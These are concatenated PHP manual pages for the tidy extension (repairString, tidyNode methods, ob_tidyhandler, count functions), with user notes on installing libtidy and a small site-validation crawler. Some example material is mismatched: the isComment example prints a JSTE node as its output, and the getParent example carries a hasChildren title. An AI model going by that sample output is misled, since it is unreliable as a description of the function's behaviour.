  • tidy::repairString() - Repair a string using an optionally provided configuration file

User Contributed Notes

There are no user contributed notes for this page.
tidy::parseString
tidy::repairString
tidy


Repair a string using an optionally provided configuration file

tidy::repairFile
tidy::root
tidy
PHP Manual

tidy::repairString

tidy_repair_string

(PHP 5, PECL tidy >= 0.7.0)

tidy::repairString -- tidy_repair_string — Repair a string using an optionally provided configuration file

Description

Object oriented style

string tidy::repairString ( string $data [, mixed $config [, string $encoding ]] )

Procedural style

string tidy_repair_string ( string $data [, mixed $config [, string $encoding ]] )

Repairs the given string.

Parameters

data

The data to be repaired.

config

The config config can be passed either as an array or as a string. If a string is passed, it is interpreted as the name of the configuration file, otherwise, it is interpreted as the options themselves.

Check » http://tidy.sourceforge.net/docs/quickref.html for an explanation about each option.

encoding

The encoding parameter sets the encoding for input/output documents. The possible values for encoding are: ascii, latin0, latin1, raw, utf8, iso2022, mac, win1252, ibm858, utf16, utf16le, utf16be, big5, and shiftjis.

Return Values

Returns the repaired string.

Examples

Example #1 tidy::repairString() example

<?php
ob_start();
?>

<html>
  <head>
    <title>test</title>
  </head>
  <body>
    <p>error</i>
  </body>
</html>

<?php

$buffer = ob_get_clean();
$tidy = new tidy();
$clean = $tidy->repairString($buffer);

echo $clean;
?>

The above example will output:

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html>
<head>
<title>test</title>
</head>
<body>
<p>error</p>
</body>
</html>

Notes

Note: The optional parameters config and encoding were added in Tidy 2.0.

See Also

  • tidy::parseFile() - Parse markup in file or URI
  • tidy::parseString() - Parse a document stored in a string
  • tidy::repairFile() - Repair a file and return it as a string

User Contributed Notes

dan-dot-hunsaker-at-gmail-dot-com 16-Jul-2011 04:49
The docs referenced at http://tidy.sourceforge.net/docs/quickref.html above state that the configuration option 'sort-attributes' is an enumeration of 'none' and 'alpha', thereby specifying that strings of either form are the acceptable values.  This may not be the case, however - on my system, the option was not honored until I set it to true.  This may also be the case with other options, so experiment a bit.  The output of tidy::getConfig() may be useful in this regard.
gnuffo1 at gmail dot com 23-Aug-2010 05:44
You can also use this function to repair xml, for example if stray ampersands etc are breaking it:

<?php
$xml = tidy_repair_string($xml, array(
    'output-xml' => true,
    'input-xml' => true
));
?>
tidy::repairFile
tidy::root
tidy


Returns a tidyNode object representing the root of the tidy parse tree

tidy::repairString
tidyNode
tidy
PHP Manual

tidy::root

tidy_get_root

(PHP 5, PECL tidy 0.5.2-1.0.0)

tidy::root -- tidy_get_root — Returns a tidyNode object representing the root of the tidy parse tree

Description

Object oriented style

tidyNode tidy::root ( void )

Procedural style

tidyNode tidy_get_root ( tidy $object )

Returns a tidyNode object representing the root of the tidy parse tree.

Parameters

object

The Tidy object.

Return Values

Returns the tidyNode object.

Examples

Example #1 tidy::root() example

<?php

$html = <<< HTML
<html><body>

<p>paragraph</p>
<br/>

</body></html>
HTML;

$tidy = tidy_parse_string($html);
dump_nodes($tidy->root(), 1);

function dump_nodes($node, $indent) {

    if($node->hasChildren()) {
        foreach($node->child as $child) {
            echo str_repeat('.', $indent*2) . ($child->name ? $child->name : '"'.$child->value.'"'). "\n";

            dump_nodes($child, $indent+1);
        }
    }
}
?>

The above example will output:

..html
....head
......title
....body
......p
........"paragraph"
......br

Notes

Note: This function is only available with Zend Engine 2 (PHP >= 5.0.0).

User Contributed Notes

There are no user contributed notes for this page.
tidy::repairString
tidyNode
tidy


The tidyNode class

(No version information available, might only be in SVN)

Introduction

An HTML node in an HTML file, as detected by tidy.

Class synopsis

tidyNode {
/* Properties */
$value;
$name;
$type;
$line;
$column;
$proprietary;
$id;
$attribute;
$child;
/* Methods */
tidyNode getParent ( void )
bool hasChildren ( void )
bool hasSiblings ( void )
bool isAsp ( void )
bool isComment ( void )
bool isHtml ( void )
bool isJste ( void )
bool isPhp ( void )
bool isText ( void )
}

Properties

value

The HTML representation of the node, including the surrounding tags.

name

The name of the HTML node

type

The type of the tag (one of the constants above, e.g. TIDY_NODETYPE_PHP)

line

The line number at which the tags is located in the file

column

The column number at which the tags is located in the file

proprietary

Indicates if the node is a proprietary tag

id

The ID of the tag (one of the constants above, e.g. TIDY_TAG_FRAME)

attribute

An array of string, representing the attributes names (as keys) of the current node.

child

An array of tidyNode, representing the children of the current node.

Version | Description
5.1.0 | line, column and proprietary were added

Table of Contents

  • tidyNode::getParent — Returns the parent node of the current node
  • tidyNode::hasChildren — Checks if a node has children
  • tidyNode::hasSiblings — Checks if a node has siblings
  • tidyNode::isAsp — Checks if this node is ASP
  • tidyNode::isComment — Checks if a node represents a comment
  • tidyNode::isHtml — Checks if a node is part of a HTML document
  • tidyNode::isJste — Checks if this node is JSTE
  • tidyNode::isPhp — Checks if a node is PHP
  • tidyNode::isText — Checks if a node represents text (no markup)

User Contributed Notes

There are no user contributed notes for this page.
tidy::root
tidyNode::getParent
Tidy


Returns the parent node of the current node

tidyNode
tidyNode::hasChildren
tidyNode
PHP Manual

tidyNode::getParent

(PHP 5 >= 5.2.2)

tidyNode::getParent — Returns the parent node of the current node

Description

tidyNode tidyNode::getParent ( void )

Returns the parent node of the current node.

Examples

Example #1 tidyNode::hasChildren() example

<?php

$html = <<< HTML
<html><head>
<?php echo '<title>title</title>'; ?>
<#
  /* JSTE code */
  alert('Hello World');
#>
 </head>
 <body>
 Hello World
 </body>
</html>

HTML;

$tidy = tidy_parse_string($html);
$num = 0;

$node = $tidy->html()->child[0]->child[0];

var_dump($node->getparent()->name);
?>

The above example will output:

string(4) "head"

Return Values

Returns a tidyNode if the node has a parent, or NULL otherwise.

User Contributed Notes

There are no user contributed notes for this page.
tidyNode
tidyNode::hasChildren
tidyNode


Checks if a node has children

tidyNode::getParent
tidyNode::hasSiblings
tidyNode
PHP Manual

tidyNode::hasChildren

(PHP 5 >= 5.0.1)

tidyNode::hasChildren — Checks if a node has children

Description

bool tidyNode::hasChildren ( void )

Tells if the node has children.

Return Values

Returns TRUE if the node has children, FALSE otherwise.

Examples

Example #1 tidyNode::hasChildren() example

<?php

$html = <<< HTML
<html><head>
<?php echo '<title>title</title>'; ?>
<#
  /* JSTE code */
  alert('Hello World');
#>
</head>
<body>

<?php
  // PHP code
  echo 'hello world!';
?>

<%
  /* ASP code */
  response.write("Hello World!")
%>

<!-- Comments -->
Hello World
</body></html>
Outside HTML
HTML;

$tidy = tidy_parse_string($html);
$num = 0;

// the head tag
var_dump($tidy->html()->child[0]->hasChildren());

// the php inside the head tag
var_dump($tidy->html()->child[0]->child[0]->hasChildren());

?>

The above example will output:

bool(true)
bool(false)

Notes

Note:

This function was named tidy_node::has_children() in PHP 4/Tidy 1.

User Contributed Notes

There are no user contributed notes for this page.
tidyNode::getParent
tidyNode::hasSiblings
tidyNode


Checks if a node has siblings

tidyNode::hasChildren
tidyNode::isAsp
tidyNode
PHP Manual

tidyNode::hasSiblings

(PHP 5 >= 5.0.1)

tidyNode::hasSiblings — Checks if a node has siblings

Description

bool tidyNode::hasSiblings ( void )

Tells if the node has siblings.

Return Values

Returns TRUE if the node has siblings, FALSE otherwise.

Examples

Example #1 tidyNode::hasSiblings() example

<?php

$html = <<< HTML
<html><head>
<?php echo '<title>title</title>'; ?>
<#
  /* JSTE code */
  alert('Hello World');
#>
</head>
<body>

<?php
  // PHP code
  echo 'hello world!';
?>

<%
  /* ASP code */
  response.write("Hello World!")
%>

<!-- Comments -->
Hello World
</body></html>
Outside HTML
HTML;

$tidy = tidy_parse_string($html);
$num = 0;

// the html tag
var_dump($tidy->html()->hasSiblings());

// the head tag
var_dump($tidy->html()->child[0]->hasSiblings());

?>

The above example will output:

bool(false)
bool(true)

Notes

Note:

This function was named tidy_node::has_siblings() in PHP 4/Tidy 1.

User Contributed Notes

There are no user contributed notes for this page.
tidyNode::hasChildren
tidyNode::isAsp
tidyNode


Checks if this node is ASP

tidyNode::hasSiblings
tidyNode::isComment
tidyNode
PHP Manual

tidyNode::isAsp

(PHP 5 >= 5.0.1)

tidyNode::isAsp — Checks if this node is ASP

Description

bool tidyNode::isAsp ( void )

Tells whether the current node is ASP.

Return Values

Returns TRUE if the node is ASP, FALSE otherwise.

Examples

Example #1 Extract ASP code from a mixed HTML document

<?php

$html = <<< HTML
<html><head>
<?php echo '<title>title</title>'; ?>
<#
  /* JSTE code */
  alert('Hello World');
#>
</head>
<body>

<?php
  // PHP code
  echo 'hello world!';
?>

<%
  /* ASP code */
  response.write("Hello World!")
%>

<!-- Comments -->
Hello World
</body></html>
Outside HTML
HTML;

$tidy = tidy_parse_string($html);
$num = 0;

get_nodes($tidy->html());

function get_nodes($node) {

    // check if the current node is of requested type
    if($node->isAsp()) {
        echo "\n\n# asp node #" . ++$GLOBALS['num'] . "\n";
        echo $node->value;
    }

    // check if the current node has childrens
    if($node->hasChildren()) {
        foreach($node->child as $child) {
            get_nodes($child);
        }
    }
}

?>

The above example will output:

# asp node #1
<%
  /* ASP code */
  response.write("Hello World!")
%>

Notes

Note:

This function was named tidy_node::is_asp() in PHP 4/Tidy 1.

User Contributed Notes

There are no user contributed notes for this page.
tidyNode::hasSiblings
tidyNode::isComment
tidyNode


Checks if a node represents a comment

tidyNode::isAsp
tidyNode::isHtml
tidyNode
PHP Manual

tidyNode::isComment

(PHP 5 >= 5.0.1)

tidyNode::isComment — Checks if a node represents a comment

Description

bool tidyNode::isComment ( void )

Tells if the node is a comment.

Return Values

Returns TRUE if the node is a comment, FALSE otherwise.

Examples

Example #1 Extract comments from a mixed HTML document

<?php

$html = <<< HTML
<html><head>
<?php echo '<title>title</title>'; ?>
<#
  /* JSTE code */
  alert('Hello World');
#>
</head>
<body>

<?php
  // PHP code
  echo 'hello world!';
?>

<%
  /* ASP code */
  response.write("Hello World!")
%>

<!-- Comments -->
Hello World
</body></html>
Outside HTML
HTML;

$tidy = tidy_parse_string($html);
$num = 0;

get_nodes($tidy->html());

function get_nodes($node) {

    // check if the current node is of requested type
    if($node->isComment()) {
        echo "\n\n# comment node #" . ++$GLOBALS['num'] . "\n";
        echo $node->value;
    }

    // check if the current node has childrens
    if($node->hasChildren()) {
        foreach($node->child as $child) {
            get_nodes($child);
        }
    }
}

?>

The above example will output:

# jste node #1
<#
  /* JSTE code */
  alert('Hello World');
#>

Notes

Note:

This function was named tidy_node::is_comment() in PHP 4/Tidy 1.

User Contributed Notes

There are no user contributed notes for this page.
tidyNode::isAsp
tidyNode::isHtml
tidyNode


Checks if a node is part of a HTML document

tidyNode::isComment
tidyNode::isJste
tidyNode
PHP Manual

tidyNode::isHtml

(PHP 5 >= 5.0.1)

tidyNode::isHtml — Checks if a node is part of a HTML document

Description

bool tidyNode::isHtml ( void )

Tells if the node is part of HTML document.

Return Values

Returns TRUE if the node is part of a HTML document, FALSE otherwise.

Examples

Example #1 Extract HTML code from a mixed HTML document

<?php

$html = <<< HTML
<html><head>
<?php echo '<title>title</title>'; ?>
<#
  /* JSTE code */
  alert('Hello World');
#>
</head>
<body>

<?php
  // PHP code
  echo 'hello world!';
?>

<%
  /* ASP code */
  response.write("Hello World!")
%>

<!-- Comments -->
Hello World
</body></html>
Outside HTML
HTML;

$tidy = tidy_parse_string($html);
$num = 0;

get_nodes($tidy->html());

function get_nodes($node) {
    // check if the current node is of requested type
    if($node->isHtml()) {
        echo "\n\n# html node #" . ++$GLOBALS['num'] . "\n";
        echo $node->value;
    }

    // check if the current node has childrens
    if($node->hasChildren()) {
        foreach($node->child as $child) {
            get_nodes($child);
        }
    }
}

?>

The above example will output:

# html node #1
<html>
<head>
<?php echo '<title>title</title>'; ?><#
  /* JSTE code */
  alert('Hello World');
#>
<title></title>
</head>
<body>
<?php
  // PHP code
  echo 'hello world!';
?><%
  /* ASP code */
  response.write("Hello World!")
%><!-- Comments -->
Hello WorldOutside HTML
</body>
</html>

# html node #2
<head>
<?php echo '<title>title</title>'; ?><#
  /* JSTE code */
  alert('Hello World');
#>
<title></title>
</head>

# html node #3
<?php echo '<title>title</title>'; ?>

# html node #4
<#
  /* JSTE code */
  alert('Hello World');
#>

# html node #5
<title></title>

# html node #6
<body>
<?php
  // PHP code
  echo 'hello world!';
?><%
  /* ASP code */
  response.write("Hello World!")
%><!-- Comments -->
Hello WorldOutside HTML
</body>

# html node #7
<?php
  // PHP code
  echo 'hello world!';
?>

# html node #8
<%
  /* ASP code */
  response.write("Hello World!")
%>

# html node #9
<!-- Comments -->

# html node #10
Hello World

# html node #11
Outside HTML

Notes

Note:

This function was named tidy_node::is_html() in PHP 4/Tidy 1.

User Contributed Notes

There are no user contributed notes for this page.
tidyNode::isComment
tidyNode::isJste
tidyNode


Checks if this node is JSTE

tidyNode::isHtml
tidyNode::isPhp
tidyNode
PHP Manual

tidyNode::isJste

(PHP 5 >= 5.0.1)

tidyNode::isJste — Checks if this node is JSTE

Description

bool tidyNode::isJste ( void )

Tells if the node is JSTE.

Return Values

Returns TRUE if the node is JSTE, FALSE otherwise.

Examples

Example #1 Extract JSTE code from a mixed HTML document

<?php

$html = <<< HTML
<html><head>
<?php echo '<title>title</title>'; ?>
<#
  /* JSTE code */
  alert('Hello World');
#>
</head>
<body>

<?php
  // PHP code
  echo 'hello world!';
?>

<%
  /* ASP code */
  response.write("Hello World!")
%>

<!-- Comments -->
Hello World
</body></html>
Outside HTML
HTML;

$tidy = tidy_parse_string($html);
$num = 0;

get_nodes($tidy->html());

function get_nodes($node) {

    // check if the current node is of requested type
    if($node->isJste()) {
        echo "\n\n# jste node #" . ++$GLOBALS['num'] . "\n";
        echo $node->value;
    }

    // check if the current node has childrens
    if($node->hasChildren()) {
        foreach($node->child as $child) {
            get_nodes($child);
        }
    }
}

?>

The above example will output:

# jste node #1
<#
  /* JSTE code */
  alert('Hello World');
#>

Notes

Note:

This function was named tidy_node::is_jste() in PHP 4/Tidy 1.

User Contributed Notes

There are no user contributed notes for this page.
tidyNode::isHtml
tidyNode::isPhp
tidyNode


Checks if a node is PHP

tidyNode::isJste
tidyNode::isText
tidyNode
PHP Manual

tidyNode::isPhp

(PHP 5 >= 5.0.1)

tidyNode::isPhp — Checks if a node is PHP

Description

bool tidyNode::isPhp ( void )

Tells if the node is PHP.

Return Values

Returns TRUE if the current node is PHP code, FALSE otherwise.

Examples

Example #1 Extract PHP code from a mixed HTML document

<?php

$html = <<< HTML
<html><head>
<?php echo '<title>title</title>'; ?>
<#
  /* JSTE code */
  alert('Hello World');
#>
</head>
<body>

<?php
  // PHP code
  echo 'hello world!';
?>

<%
  /* ASP code */
  response.write("Hello World!")
%>

<!-- Comments -->
Hello World
</body></html>
Outside HTML
HTML;

$tidy = tidy_parse_string($html);
$num = 0;

get_nodes($tidy->html());

function get_nodes($node) {

    // check if the current node is of requested type
    if($node->isPhp()) {
        echo "\n\n# php node #" . ++$GLOBALS['num'] . "\n";
        echo $node->value;
    }

    // check if the current node has childrens
    if($node->hasChildren()) {
        foreach($node->child as $child) {
            get_nodes($child);
        }
    }
}

?>

The above example will output:

# php node #1
<?php echo '<title>title</title>'; ?>

# php node #2
<?php
  // PHP code
  echo 'hello world!';
?>

Notes

Note:

This function was named tidy_node::is_php() in PHP 4/Tidy 1.

User Contributed Notes

There are no user contributed notes for this page.
tidyNode::isJste
tidyNode::isText
tidyNode


Checks if a node represents text (no markup)

tidyNode::isPhp
Tidy Functions
tidyNode
PHP Manual

tidyNode::isText

(PHP 5 >= 5.0.1)

tidyNode::isText — Checks if a node represents text (no markup)

Description

bool tidyNode::isText ( void )

Tells if the node represents a text (without any markup).

Return Values

Returns TRUE if the node represent a text, FALSE otherwise.

Examples

Example #1 Extract text from a mixed HTML document

<?php

$html = <<< HTML
<html><head>
<?php echo '<title>title</title>'; ?>
<#
  /* JSTE code */
  alert('Hello World');
#>
</head>
<body>

<?php
  // PHP code
  echo 'hello world!';
?>

<%
  /* ASP code */
  response.write("Hello World!")
%>

<!-- Comments -->
Hello World
</body></html>
Outside HTML
HTML;

$tidy = tidy_parse_string($html);
$num = 0;

get_nodes($tidy->html());

function get_nodes($node) {

    // check if the current node is of requested type
    if($node->isText()) {
        echo "\n\n# text node #" . ++$GLOBALS['num'] . "\n";
        echo $node->value;
    }

    // check if the current node has childrens
    if($node->hasChildren()) {
        foreach($node->child as $child) {
            get_nodes($child);
        }
    }
}

?>

The above example will output:

# text node #1
Hello World

# text node #2
Outside HTML

Notes

Note:

This function was named tidy_node::is_text() in PHP 4/Tidy 1.

User Contributed Notes

There are no user contributed notes for this page.
tidyNode::isPhp
Tidy Functions
tidyNode


Tidy Functions

Table of Contents

  • ob_tidyhandler — ob_start callback function to repair the buffer
  • tidy_access_count — Returns the Number of Tidy accessibility warnings encountered for specified document
  • tidy_config_count — Returns the Number of Tidy configuration errors encountered for specified document
  • tidy_error_count — Returns the Number of Tidy errors encountered for specified document
  • tidy_get_output — Return a string representing the parsed tidy markup
  • tidy_load_config — Load an ASCII Tidy configuration file with the specified encoding
  • tidy_reset_config — Restore Tidy configuration to default values
  • tidy_save_config — Save current settings to named file
  • tidy_set_encoding — Set the input/output character encoding for parsing markup
  • tidy_setopt — Updates the configuration settings for the specified tidy document
  • tidy_warning_count — Returns the Number of Tidy warnings encountered for specified document

User Contributed Notes

badtzmari at gmail dot com 03-Dec-2007 07:52
The manual doesn't really make it clear that the PECL ext is only for php4. For php5, you have to use the --with-tidy option. (At least, this was the case for me with php 5.2.5 on Mac OS 10.4 - Tiger.) Tiger ships with tidylibs already installed in /usr/include but there is broken header file. The easiest way to get php to compile with Tidy on 10.4 (and 10.5 Leopard also) is to download Macports and use that to install tidy (unless you want to build tidy from src.) After installing Macports via the .dmg, just su root and do:

port install tidy

(port is installed in /opt/local/bin)

Then configure --with-tidy=/opt/local (Macports installs stuff in /opt/local).

You can also use Macports to install all sorts of other libs such as png, libmcrypt, freetype and jpeg (although libpng and libjpeg are also available as package installs.)

The specific compile error is:

In file included from /usr/include/tidy/tidy.h:70,
                 from /Users/mari/Downloads/php-5.2.5/ext/tidy/
tidy.c:34:
/usr/include/tidy/platform.h:515: error: duplicate 'unsigned'
/usr/include/tidy/platform.h:515: warning: useless type name in empty declaration
Shuster 29-Oct-2007 11:45
Valid XHTML STRICT

<?php

if (function_exists('tidy_repair_string'))
{
    $xhtml = tidy_repair_string($xhtml, array('output-xhtml' => true, 'show-body-only' => true, 'doctype' => 'strict', 'drop-font-tags' => true, 'drop-proprietary-attributes' => true, 'lower-literals' => true, 'quote-ampersand' => true, 'wrap' => 0), 'raw');
}

?>
Guillaume 15-May-2007 04:36
To install correctly Tidy for PHP5 on Ubuntu, follow this link :
http://ubuntuforums.org/showthread.php?t=195636

In fact, you need to run a "make clean" before the commands "make" and "make install"
matteo dot contri at tecem dot it 12-Oct-2006 01:44
i had many problem with a javascript that grab mouse event on image and tidy (obviously).
I found this solution:

'output-xhtml'  => false

and everything is working again!
info att tcknetwork doot com 15-Jul-2006 03:23
I have been searching for an easy way to check an entire website against HTML/XHTML formatting (no error, compilant, etc.), tidy is very useful for that :
<?php

/** aready checked pages */
$e=array();
/** webpages to check */
$t=array("/web/test.com/");
/** forbidden extensions (typically linked ressources) */
$x=explode(",","jpg,gif,png,doc,xls,pdf");

echo "<pre>";
while ($t[0]) {
 // already checked or a ressource => skip
 if (in_array($t[0],$e) || in_array(substr($t[0],-3),$x)) array_shift($t);
 else { $c=array_shift($t); $e[]=$c; $t=array_merge($t,ck($c)); }
}
echo "</pre>";

/**
 check_vailidty($url,$server)
 return : list of the internal links of the page
*/
function ck($u,$s="http://127.0.0.1") {
 $c=array("indent"=>1,"output-xhtml"=>1,"accessibility-check"=>3);
 $t=tidy_parse_string(file_get_contents($s.$u),$c);
 tidy_clean_repair($t);
 if (tidy_error_count($t)) { // we have error, display them
  echo "FAIL ".htmlentities($u)." (".tidy_error_count($t)." errors)\n";
  echo htmlentities(tidy_get_error_buffer($t))."\n";
 } else { // all right
  echo "OK ".htmlentities($u)."\n";
 }
 // return all the links inside the page
 return gl(tidy_get_root($t),substr($u,-1)=="/"?$u:dirname($u)."/");
}
/**
 get_links($tinynode,$baseurl)
 return : list of the links
*/
function gl($t,$b) {
  $r=array();
  $c=count($t->child);
  for ($i=0;$i<$c;$i++) {
    $e=&$t->child[$i];
    if ($e->name=="a") { // a link
      $h=$e->attribute["href"]; // url
      if (substr($h,0,4)!="http") { // prevent external links
        $r[]=sp(substr($h,0,1)=="/"?$h:$b.$h);
      }
    } else { // not a link, search recursively inside
      $r=array_merge($r,gl($e,$b));
    }
  }
  return $r;
}
/**
 simplify_path($path)
 return : simplified path
*/
function sp($p) {
  while ($o!=$p) {
    $o=$p;
    $p=str_replace(array("//","/./"),"/",$p);
    $p=preg_replace("/\/[^\/]+\/..\//","/",$p);
  }
  return $p;
}

?>
Limitation : does not detect javascript-generated links. Check about set_time_limit(0) if you have a lot of webpages.
Paul Cook 11-Apr-2006 08:25
To get libtidy and PHP 5.0.5 compiled on OS X Tiger this is what I needed to do:

1) download and upack the tidy source.
2) cd tidy-source-dir
3) >> /bin/sh build/gnuauto/setup.sh
4) then you can configure/make/make install as normal

PHP build generates errors because of tidy so I needed to edit the platform.h file like this (use your favorite command line editor):

5) >> sudo emacs /usr/local/include/platform.h
6) comment out line 508 which was causing the 'duplicate "unsigned" ' error in the PHP build.

7) configure/make/make install PHP as normal using --with-tidy=/usr/local

Restart apache and everything works now.  HTH someone.
patatraboum at nospam dot fr 25-Feb-2006 10:13
<?php
//
//The tidy tree of your favorite !
//For PHP 5 (CGI)
//Thanks to john@php.net
//
$file="http://www.php.net";
//
$cns=get_defined_constants(true);
$tidyCns=array("tags"=>array(),"types"=>array());
foreach($cns["tidy"] as $cKey=>$cVal){
    if($cPos=strpos($cKey,$cStr="TAG")) $tidyCns["tags"][$cVal]="$cStr : ".substr($cKey,$cPos+strlen($cStr)+1);
    elseif($cPos=strpos($cKey,$cStr="TYPE")) $tidyCns["types"][$cVal]="$cStr : ".substr($cKey,$cPos+strlen($cStr)+1);
}
$tidyNext=array();
//
echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1252'><title>Tidy Tree :: $file</title></head>";
echo "<body><pre>";
//
tidyTree(tidy_get_root(tidy_parse_file($file)),0);
//
function tidyTree($tidy,$level){
    global $tidyCns,$tidyNext;
    $tidyTab=array();
    $tidyKeys=array("type","value","id","attribute");
    foreach($tidy as $pKey=>$pVal){
        if(in_array($pKey,$tidyKeys)) $tidyTab[array_search($pKey,$tidyKeys)]=$pVal;
    }
    ksort($tidyTab);
    foreach($tidyTab as $pKey=>$pVal){
        switch($pKey){
            case 0 :
                if($pVal==4) $value=true; else $value=false;
                echo indent(true,$level).$tidyCns["types"][$pVal]."\n"; break;
            case 1 :
                if($value){
                    echo indent(false,$level)."VALEUR : ".str_replace("\n","\n".indent(false,$level),$pVal)."\n";
                }
                break;
            case 2 :
                echo indent(false,$level).$tidyCns["tags"][$pVal]."\n"; break;
            case 3 :
                if($pVal!=NULL){
                    echo indent(false,$level)."ATTRIBUTS : ";
                    foreach ($pVal as $aKey=>$aVal) echo "$aKey=$aVal "; echo "\n";
                }
        }
    }
    if($tidy->hasChildren()){
        $level++; $i=0;
        $tidyNext[$level]=true;
        echo indent(false,$level)."\n";
        foreach($tidy->child as $child){
            $i++;
            if($i==count($tidy->child)) $tidyNext[$level]=false;
            tidyTree($child,$level);
        }
    }
    else echo indent(false,$level)."\n";
}
//
function indent($tidyType,$level){
    global $tidyNext;
    $indent="";
    for($i=1;$i<=$level;$i++){
        if($i<$level||!$tidyType){
            if($tidyNext[$i]) $str="|  "; else $str="   ";
        }
        else $str="+--";
        $indent=$indent.$str;
    }
    return $indent;
}
//
echo "</pre></body></html>";
//
?>
tonygambone at gNOSPAMmail dot com 06-Feb-2006 08:03
Using PHP 5.1.2 on Win32/IIS, I noticed that even with "output-xhtml: yes," tidy was adding the deprecated name attribute to form tags (using the value of the id attribute).  Grabbing the latest dll from the snaps link at the top of the page fixed this.
tom at expresshosting dot net 23-Aug-2005 10:50
It should be noted that the examples on this page apply ONLY to PHP5. None of the functions in the manual apply to PHP4. The names are the same but arguments are different on some of them (tidy_parse_string).

If you wish to use tidy in PHP 4.3.x you can use the following example instead:

<?php

$tidyhtml = ob_get_contents();
if( function_exists( 'tidy_parse_string' ) ) {
        tidy_set_encoding('iso-8859-1');
        tidy_parse_string($tidyhtml);
        tidy_setopt('output-xhtml', TRUE);
        tidy_setopt('indent', TRUE);
        tidy_setopt('indent-spaces', 2);
        tidy_setopt('wrap', 200);
        tidy_clean_repair();
        $tidyhtml = tidy_get_output();
}
ob_end_clean();

echo $tidyhtml;

?>

Hope that helps somebody.
mohan at asix dot com dot my 11-Feb-2005 12:23
To those who need to install libtidy on mac os x , here is a guide that worked for me :

If you're on Mac OS X, you'll need to tell the Makefile that you use
ranlib:

    $ export set RANLIB=ranlib

Change to the directory with the Makefile in it, and run make.
This example uses the GNU make Makefile.

    $ cd tidy/build/gmake/

    $ make
    if [ ! -d ./obj ]; then mkdir ./obj; fi
    gcc -o obj/access.o ...
    ... etc etc etc ...

Install the libs, headers and the tidy executable:

    $ sudo make install

If you're on Mac OS X, you'll have to run ranlib again on the installed
lib:

    $ sudo ranlib /usr/local/lib/libtidy.a
Jon Dowland (bugs at alcopop dot org) 01-Feb-2005 03:40
Rough installation instructions for debian/testing:

Use debian's apt package manager to install the required development packages

$ apt-get install php4-dev php4-pear libtidy-dev

Then use pear to install tidy

$ pear install tidy

Note: I did /not/ have success installing the tarball locally. Only using this method was the .so put in the correct place.

I also had to add an entry to the php.ini

$ echo extension=tidy.so >> /etc/php4/apache/php.ini
$ apachectl restart

...and you're done.
doodleelephant 15-Nov-2004 05:34
I'm installing PHP 5.0.2 on Redhat Linux (I forget the version. Enterprise WS 3 I think) I had troubles installing the libtidy. It consistently complained that it could not find 'libtidy'. I finally got a clue into how to install it (in build/gnuauto/readme.txt). This is how I finally got it to install (after lots of trial and error):

First, don't get the binary distribution of of tidy.sf.net. It's not what you want. You need the source distribution.

Command by command this is what I did:
=======

wget http://tidy.sourceforge.net/src/tidy_src.tgz
tar -xzf tidy_src.tgz
cd tidy
/bin/sh build/gnuauto/setup.sh
./configure --prefix=/usr
make
make install
cd [php source directory]
./configure --with-tidy=/usr --[other extensions]
make
make install

=======
Tada. Finally it doesn't complain when I configure PHP about the installation. The info I needed was stuck in that build/gnuauto/readme.txt file in the tidy directory.

Took me a while. Hope my trials can help others save time.

Doodleelephant
bill dot mccuistion at qbopen dot com 29-Oct-2004 10:53
Installing tidy on Fedora Core 2 required three libraries:

tidy...
tidy-devel...
libtidy...

All of which I found at http://rpm.pbone.net

Then, finally, could "./configure --with-tidy"

Hope this helps someone out.  This was "REALLY" hard (for me) to figure out as no where else was clearly documented.
tidyNode::isText
ob_tidyhandler
Tidy


ob_start callback function to repair the buffer

Tidy Functions
tidy_access_count
Tidy Functions
PHP Manual

ob_tidyhandler

(PHP 5)

ob_tidyhandler — ob_start callback function to repair the buffer

Description

string ob_tidyhandler ( string $input [, int $mode ] )

Callback function for ob_start() to repair the buffer.

Parameters

input

The buffer.

mode

The buffer mode.

Return Values

Returns the modified buffer.

Examples

Example #1 ob_tidyhandler() example

<?php
ob_start('ob_tidyhandler');

echo '<p>test</i>';
?>

The above example will output:

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html>
<head>
<title></title>
</head>
<body>
<p>test</p>
</body>
</html>

See Also

  • ob_start() - Turn on output buffering

User Contributed Notes

There are no user contributed notes for this page.
Tidy Functions
tidy_access_count
Tidy Functions


Returns the Number of Tidy accessibility warnings encountered for specified document

ob_tidyhandler
tidy_config_count
Tidy Functions
PHP Manual

tidy_access_count

(PHP 5, PECL tidy >= 0.5.2)

tidy_access_count — Returns the Number of Tidy accessibility warnings encountered for specified document

Description

int tidy_access_count ( tidy $object )

tidy_access_count() returns the number of accessibility warnings found for the specified document.

Parameters

object

The Tidy object.

Return Values

Returns the number of warnings.

Examples

Example #1 tidy_access_count() example

<?php

$html ='<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html><head><title>Title</title></head>
<body>

<p><img src="img.png"></p>

</body></html>';

// select the accessibility check level: 1, 2 or 3
$config = array('accessibility-check' => 3);

$tidy = new tidy();
$tidy->parseString($html, $config);
$tidy->cleanRepair();

/* Never forget to call this! */
$tidy->diagnose();

echo tidy_access_count($tidy); //5

?>

Notes

Note:

Due to the design of the TidyLib, you must call tidy_diagnose() before tidy_access_count() or it will return always 0. You must also need to enable the accessibility-check option.

See Also

  • tidy_error_count() - Returns the Number of Tidy errors encountered for specified document
  • tidy_warning_count() - Returns the Number of Tidy warnings encountered for specified document

User Contributed Notes

There are no user contributed notes for this page.
ob_tidyhandler
tidy_config_count
Tidy Functions


Returns the Number of Tidy configuration errors encountered for specified document

tidy_access_count
tidy_error_count
Tidy Functions
PHP Manual

tidy_config_count

(PHP 5, PECL tidy >= 0.5.2)

tidy_config_count — Returns the Number of Tidy configuration errors encountered for specified document

Description

int tidy_config_count ( tidy $object )

Returns the number of errors encountered in the configuration of the specified tidy object.

Parameters

object

The Tidy object.

Return Values

Returns the number of errors.

Examples

Example #1 tidy_config_count() example

<?php
$html = '<p>test</I>';

$config = array('doctype' => 'bogus');

$tidy = tidy_parse_string($html, $config);

/* This outputs 1, because 'bogus' isn't a valid doctype */
echo tidy_config_count($tidy);
?>

User Contributed Notes

There are no user contributed notes for this page.
tidy_access_count
tidy_error_count
Tidy Functions


Returns the Number of Tidy errors encountered for specified document

tidy_config_count
tidy_get_output
Tidy Functions
PHP Manual

tidy_error_count

(PHP 5, PECL tidy >= 0.5.2)

tidy_error_count — Returns the Number of Tidy errors encountered for specified document

Description

int tidy_error_count ( tidy $object )

Returns the number of Tidy errors encountered for the specified document.

Parameters

object

The Tidy object.

